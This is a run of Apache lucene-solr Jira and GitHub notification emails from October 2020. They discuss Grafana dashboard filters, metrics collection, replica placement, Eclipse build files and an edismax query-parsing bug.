Jan Høydahl commented on SOLR-14936:
If you want to test it in 60 seconds, here is the Grafana.com ID: 12456
https://grafana.com/grafana/dashboards/12456
> Grafana dashboard filters for collection, shard, replica, core not working
> --
>
> Key: SOLR-14936
> URL: https://issues.apache.org/jira/browse/SOLR-14936
> Project: Solr
> Issue Type: Bug
> Security Level: Public(Default Security Level. Issues are Public)
> Components: contrib - prometheus-exporter
>Reporter: Jan Høydahl
>Assignee: Jan Høydahl
>Priority: Major
> Labels: grafana, prometheus
> Attachments: image-2020-10-15-15-33-22-332.png
>
> Time Spent: 10m
> Remaining Estimate: 0h
>
> !image-2020-10-15-15-33-22-332.png!
> On top of the Grafana dashboard for the Prometheus Exporter, there are some
> drop downs intended to filter the graphs. Only the {{zk_host}} and
> {{base_url}} dropdowns seem to work. For the collection, shard, replicas and
> core, they only list "All" value.
> [https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14936) Grafana dashboard filters for collection, shard, replica, core not working
[
https://issues.apache.org/jira/browse/SOLR-14936?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214767#comment-17214767
]
Jan Høydahl commented on SOLR-14936:
Fixes to the Grafana JSON only. Now the dropdowns actually affect the graphs,
so you can filter graphs on collection, shard etc. Also, the dropdowns filter
each other, so when a collection is selected, only shards, replicas and cores
belonging to the shard are included in graphs.
I did not succeed in listing only relevant collections when a {{base_url}} is
selected. So right now, base_url will filter the OS/node level graphs, and the
collection/shard/replica/core will filter the core-level graphs.
I hope to commit this in time for 8.7 as it is low risk. I'll also upload the
same config to Grafana.com
> Grafana dashboard filters for collection, shard, replica, core not working
> --
>
> Key: SOLR-14936
> URL: https://issues.apache.org/jira/browse/SOLR-14936
> Project: Solr
> Issue Type: Bug
> Security Level: Public(Default Security Level. Issues are Public)
> Components: contrib - prometheus-exporter
>Reporter: Jan Høydahl
>Assignee: Jan Høydahl
>Priority: Major
> Labels: grafana, prometheus
> Attachments: image-2020-10-15-15-33-22-332.png
>
> Time Spent: 10m
> Remaining Estimate: 0h
>
> !image-2020-10-15-15-33-22-332.png!
> On top of the Grafana dashboard for the Prometheus Exporter, there are some
> drop downs intended to filter the graphs. Only the {{zk_host}} and
> {{base_url}} dropdowns seem to work. For the collection, shard, replicas and
> core, they only list "All" value.
> [https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] janhoy opened a new pull request #1986: SOLR-14936: Fixed Grafana dashboard filters
janhoy opened a new pull request #1986: URL: https://github.com/apache/lucene-solr/pull/1986 See https://issues.apache.org/jira/browse/SOLR-14936 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] janhoy commented on pull request #1949: Jinja2_autoescape_false set to True
janhoy commented on pull request #1949: URL: https://github.com/apache/lucene-solr/pull/1949#issuecomment-709381693 Ah, cool. I thought it must have been some automated check :) Really appreciate that you take time to contribute. Have you tested your change, that it actually works? If so, I'm inclined to merge this PR just to give you some credit. Also, please fill in the issue description with some context. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[
https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214748#comment-17214748
]
Ilan Ginzburg commented on SOLR-14930:
--
Should package {{org.apache.solr.common.cloud.rule}} be renamed to drop "rule"?
> remove rulebased replica placement strategy
> ---
>
> Key: SOLR-14930
> URL: https://issues.apache.org/jira/browse/SOLR-14930
> Project: Solr
> Issue Type: Task
> Security Level: Public(Default Security Level. Issues are Public)
>Reporter: Noble Paul
>Assignee: Noble Paul
>Priority: Major
> Time Spent: 40m
> Remaining Estimate: 0h
>
> This should be removed from 9.0
> This will be replaced in Solr 9.0 by APIs for replica placement and cluster
> events, with plugin-based implementations.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] epugh commented on pull request #1985: SOLR-14932: Broken "Add replica" button in solr admin UI
epugh commented on pull request #1985: URL: https://github.com/apache/lucene-solr/pull/1985#issuecomment-709348656 Definilty @poke19962008, we have another PR that has that label. Keep em coming! This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14647) Importing Gradle Projects into Eclipse pollutes checkout
[
https://issues.apache.org/jira/browse/SOLR-14647?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214714#comment-17214714
]
Dawid Weiss commented on SOLR-14647:
Where does this come from them?
{code}
{code}
Does Eclipse add it somehow? Weird.
> Importing Gradle Projects into Eclipse pollutes checkout
>
>
> Key: SOLR-14647
> URL: https://issues.apache.org/jira/browse/SOLR-14647
> Project: Solr
> Issue Type: Bug
> Components: Build
>Affects Versions: master (9.0)
>Reporter: James Dyer
>Assignee: James Dyer
>Priority: Minor
> Fix For: master (9.0)
>
> Attachments: SOLR-14647.patch
>
>
> Switch to master branch, then open Eclipse IDE and select "file > import >
> existing gradle project" to import lucene/solr. Afterwards, "git status"
> shows unstaged ".project", ".classpath", ".settings" and "bin"
> files/directories.
> Adjust the .gitignore file to correctly filter these out.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709338043 Puzzling why RulesTest in solr is suddenly failing rat. It sure looks like it has a license just like all others and I didn't touch it. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214705#comment-17214705
]
Noble Paul commented on SOLR-14914:
---
So, you mean nobody will know what you're gonna build & commit until it's added
and committed to the ref guide?
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Resolved] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andrzej Bialecki resolved SOLR-14914.
-
Resolution: Fixed
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214698#comment-17214698
]
Andrzej Bialecki commented on SOLR-14914:
-
[~noble.paul] see the RefGuide.
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Resolved] (SOLR-14924) Some ReplicationHandler metrics are reported using incorrect types
[
https://issues.apache.org/jira/browse/SOLR-14924?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andrzej Bialecki resolved SOLR-14924.
-
Resolution: Fixed
> Some ReplicationHandler metrics are reported using incorrect types
> --
>
> Key: SOLR-14924
> URL: https://issues.apache.org/jira/browse/SOLR-14924
> Project: Solr
> Issue Type: Improvement
> Security Level: Public(Default Security Level. Issues are Public)
> Components: metrics
>Affects Versions: 8.7, 8.6.3
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Attachments: SOLR-14924.patch
>
>
> Some metrics reported from {{ReplicationHandler}} use incorrect types - they
> are reported as String values instead of the numerics.
> This is caused by using {{ReplicationHandler.addVal}} utility method with the
> type {{Integer.class}}, which the method doesn't support and it returns the
> value as a string.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14924) Some ReplicationHandler metrics are reported using incorrect types
[
https://issues.apache.org/jira/browse/SOLR-14924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214693#comment-17214693
]
ASF subversion and git services commented on SOLR-14924:
Commit 9bf5b15c38bd146045444bab17f1063590a855a4 in lucene-solr's branch
refs/heads/branch_8x from Andrzej Bialecki
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=9bf5b15 ]
SOLR-14924: Some ReplicationHandler metrics are reported using incorrect types.
> Some ReplicationHandler metrics are reported using incorrect types
> --
>
> Key: SOLR-14924
> URL: https://issues.apache.org/jira/browse/SOLR-14924
> Project: Solr
> Issue Type: Improvement
> Security Level: Public(Default Security Level. Issues are Public)
> Components: metrics
>Affects Versions: 8.7, 8.6.3
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Attachments: SOLR-14924.patch
>
>
> Some metrics reported from {{ReplicationHandler}} use incorrect types - they
> are reported as String values instead of the numerics.
> This is caused by using {{ReplicationHandler.addVal}} utility method with the
> type {{Integer.class}}, which the method doesn't support and it returns the
> value as a string.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] poke19962008 commented on pull request #1985: SOLR-14932: Broken "Add replica" button in solr admin UI
poke19962008 commented on pull request #1985: URL: https://github.com/apache/lucene-solr/pull/1985#issuecomment-709330918 also @epugh is it possible to add "hacktoberfest-accepted" label to this PR? This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14647) Importing Gradle Projects into Eclipse pollutes checkout
[
https://issues.apache.org/jira/browse/SOLR-14647?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214687#comment-17214687
]
Robert Muir commented on SOLR-14647:
{quote}
The .gitignore should be sufficient for everyone (any IDE) to live without
polluting the local workspace with non-versioned files. If they're documented
in .gitignore then I don't have a problem with it.
{quote}
Adding {{bin}} will solve the eclipse issue.
{quote}
The eclipse configuration could be improved to just build into build/eclipse?
Then the 'build' folder is common for gradle and other IDEs.
{quote}
I'm confused, that's what it does already for me. On my system:
{code}
...
{code}
> Importing Gradle Projects into Eclipse pollutes checkout
>
>
> Key: SOLR-14647
> URL: https://issues.apache.org/jira/browse/SOLR-14647
> Project: Solr
> Issue Type: Bug
> Components: Build
>Affects Versions: master (9.0)
>Reporter: James Dyer
>Assignee: James Dyer
>Priority: Minor
> Fix For: master (9.0)
>
> Attachments: SOLR-14647.patch
>
>
> Switch to master branch, then open Eclipse IDE and select "file > import >
> existing gradle project" to import lucene/solr. Afterwards, "git status"
> shows unstaged ".project", ".classpath", ".settings" and "bin"
> files/directories.
> Adjust the .gitignore file to correctly filter these out.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Created] (SOLR-14936) Grafana dashboard filters for collection, shard, replica, core not working
Jan Høydahl created SOLR-14936:
--
Summary: Grafana dashboard filters for collection, shard, replica,
core not working
Key: SOLR-14936
URL: https://issues.apache.org/jira/browse/SOLR-14936
Project: Solr
Issue Type: Bug
Security Level: Public (Default Security Level. Issues are Public)
Components: contrib - prometheus-exporter
Reporter: Jan Høydahl
Assignee: Jan Høydahl
Attachments: image-2020-10-15-15-33-22-332.png
!image-2020-10-15-15-33-22-332.png!
On top of the Grafana dashboard for the Prometheus Exporter, there are some
drop downs intended to filter the graphs. Only the {{zk_host}} and {{base_url}}
dropdowns seem to work. For the collection, shard, replicas and core, they only
list "All" value.
[https://lucene.apache.org/solr/guide/8_6/monitoring-solr-with-prometheus-and-grafana.html#sample-grafana-dashboard]
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214677#comment-17214677 ] ASF subversion and git services commented on SOLR-14930: Commit 0bd2f314b71f891731a11202ba926fb02ff9c338 in lucene-solr's branch refs/heads/master from Munendra S N [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=0bd2f31 ] SOLR-14930: fix precommit > remove rulebased replica placement strategy > --- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 40m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Comment Edited] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214673#comment-17214673
]
Noble Paul edited comment on SOLR-14914 at 10/15/20, 12:46 PM:
---
Can you please tell us how a user can do this?
Any public facing feature should have an at least an example of how a user is
supposed to interact with the system.
was (Author: noble.paul):
Can you please tell us how a user can do this?
Any public facing feature should have an at least an example of how a user is
supposed to interact with the system.
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214673#comment-17214673
]
Noble Paul commented on SOLR-14914:
---
Can you please tell us how a user can do this?
Any public facing feature should have an at least an example of how a user is
supposed to interact with the system.
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Updated] (SOLR-14930) remove rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Noble Paul updated SOLR-14930: -- Summary: remove rulebased replica placement strategy (was: Deprecate rulebased replica placement strategy) > remove rulebased replica placement strategy > --- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 40m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) Deprecate rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214671#comment-17214671 ] ASF subversion and git services commented on SOLR-14930: Commit 71020836db835a6e8232bcf97a9d04b83742162f in lucene-solr's branch refs/heads/reference_impl_dev from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=7102083 ] SOLR-14930: Deprecate rulebased replica placement strategy > Deprecate rulebased replica placement strategy > -- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 40m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14924) Some ReplicationHandler metrics are reported using incorrect types
[
https://issues.apache.org/jira/browse/SOLR-14924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214667#comment-17214667
]
ASF subversion and git services commented on SOLR-14924:
Commit 737cf9854a8075275fe89f376ba5b1f7be4c6a9f in lucene-solr's branch
refs/heads/master from Andrzej Bialecki
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=737cf98 ]
SOLR-14924: Some ReplicationHandler metrics are reported using incorrect types.
> Some ReplicationHandler metrics are reported using incorrect types
> --
>
> Key: SOLR-14924
> URL: https://issues.apache.org/jira/browse/SOLR-14924
> Project: Solr
> Issue Type: Improvement
> Security Level: Public(Default Security Level. Issues are Public)
> Components: metrics
>Affects Versions: 8.7, 8.6.3
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Attachments: SOLR-14924.patch
>
>
> Some metrics reported from {{ReplicationHandler}} use incorrect types - they
> are reported as String values instead of the numerics.
> This is caused by using {{ReplicationHandler.addVal}} utility method with the
> type {{Integer.class}}, which the method doesn't support and it returns the
> value as a string.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14933) Ability to add T and P type replica from admin UI
[ https://issues.apache.org/jira/browse/SOLR-14933?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214665#comment-17214665 ] Sayan Das commented on SOLR-14933: -- oh i see. okay i will create sub tasks and start development for the above list except REBALANCELEADERS then. > Ability to add T and P type replica from admin UI > - > > Key: SOLR-14933 > URL: https://issues.apache.org/jira/browse/SOLR-14933 > Project: Solr > Issue Type: Improvement > Security Level: Public(Default Security Level. Issues are Public) > Components: Admin UI >Reporter: Sayan Das >Priority: Minor > Attachments: image-2020-10-14-17-07-08-159.png > > > As of now we can already add NRT replica from admin UI. Would look to add > drop down listing all types of replicas along with the live nodes drop down. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14933) Ability to add T and P type replica from admin UI
[ https://issues.apache.org/jira/browse/SOLR-14933?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214651#comment-17214651 ] Erick Erickson commented on SOLR-14933: --- Unless you have a _lot_ of leaders on a single node, the whole REBALANCELEADERS thing is unnecessary. There isn't actually much work a leader does other than forwarding update requests to the followers, the leader is not involved in queries at all for instance... The use case was one where there were 100+ leaders on a single Solr node. FWIW... I'm not enthused about including that in the UI because it's such a red herring... > Ability to add T and P type replica from admin UI > - > > Key: SOLR-14933 > URL: https://issues.apache.org/jira/browse/SOLR-14933 > Project: Solr > Issue Type: Improvement > Security Level: Public(Default Security Level. Issues are Public) > Components: Admin UI >Reporter: Sayan Das >Priority: Minor > Attachments: image-2020-10-14-17-07-08-159.png > > > As of now we can already add NRT replica from admin UI. Would look to add > drop down listing all types of replicas along with the live nodes drop down. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-3729) ExtendedDismaxQParser (edismax) doesn't parse (*:*) properly
[
https://issues.apache.org/jira/browse/SOLR-3729?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214649#comment-17214649
]
Erick Erickson commented on SOLR-3729:
--
Patches welcome.
> ExtendedDismaxQParser (edismax) doesn't parse (*:*) properly
>
>
> Key: SOLR-3729
> URL: https://issues.apache.org/jira/browse/SOLR-3729
> Project: Solr
> Issue Type: Bug
> Components: query parsers
>Affects Versions: 4.0-BETA
>Reporter: Jack Krupansky
>Priority: Major
> Attachments: SOLR-3729.patch
>
>
> I just happen to notice that (\*:\*) is not parsed properly by the edismax
> (ExtendedDismaxQParser) query parser in 4.0-beta. It appears to require
> spaces before and after the \*:\*, otherwise it treats the colon as part of a
> wildcard term (see the escaping below). I haven’t tried other releases yet.
> My original query:
> http://localhost:8983/solr/select/?debugQuery=true&q=(*:*)&defType=edismax
> Produces this:
> {code}
> (*:*)
> (+DisjunctionMaxQuery((text:*\:*)))/no_coord
> +(text:*\:*)
> ExtendedDismaxQParser
> {code}
> Some variations I tried:
> {code}
> ( *:*)
> (+DisjunctionMaxQuery((text:*\:*)))/no_coord
> +(text:*\:*)
>
> (*:* )
> (+DisjunctionMaxQuery((text:*\:*)))/no_coord
> +(text:*\:*)
>
> ( *:* )
> (+MatchAllDocsQuery(*:*))/no_coord
> +*:*
>
> (*:* -fox)
>
> (+(DisjunctionMaxQuery((text:*\:*))
> -DisjunctionMaxQuery((text:fox/no_coord
>
> +((text:*\:*) -(text:fox))
>
> ( *:* -fox)
>
> (+(MatchAllDocsQuery(*:*) -DisjunctionMaxQuery((text:fox/no_coord
>
> +(*:* -(text:fox))
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214626#comment-17214626
]
ASF subversion and git services commented on SOLR-14914:
Commit 766aaf1b2772a2bd96c89a546509a531f4dc08d5 in lucene-solr's branch
refs/heads/branch_8x from Andrzej Bialecki
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=766aaf1 ]
SOLR-14914: Add option to disable metrics collection.
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] epugh commented on pull request #1985: SOLR-14932: Broken "Add replica" button in solr admin UI
epugh commented on pull request #1985: URL: https://github.com/apache/lucene-solr/pull/1985#issuecomment-709076317 I was messing with this yesterday, and I could t get the css to work! This is much better. I will test and merge. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-3729) ExtendedDismaxQParser (edismax) doesn't parse (*:*) properly
[
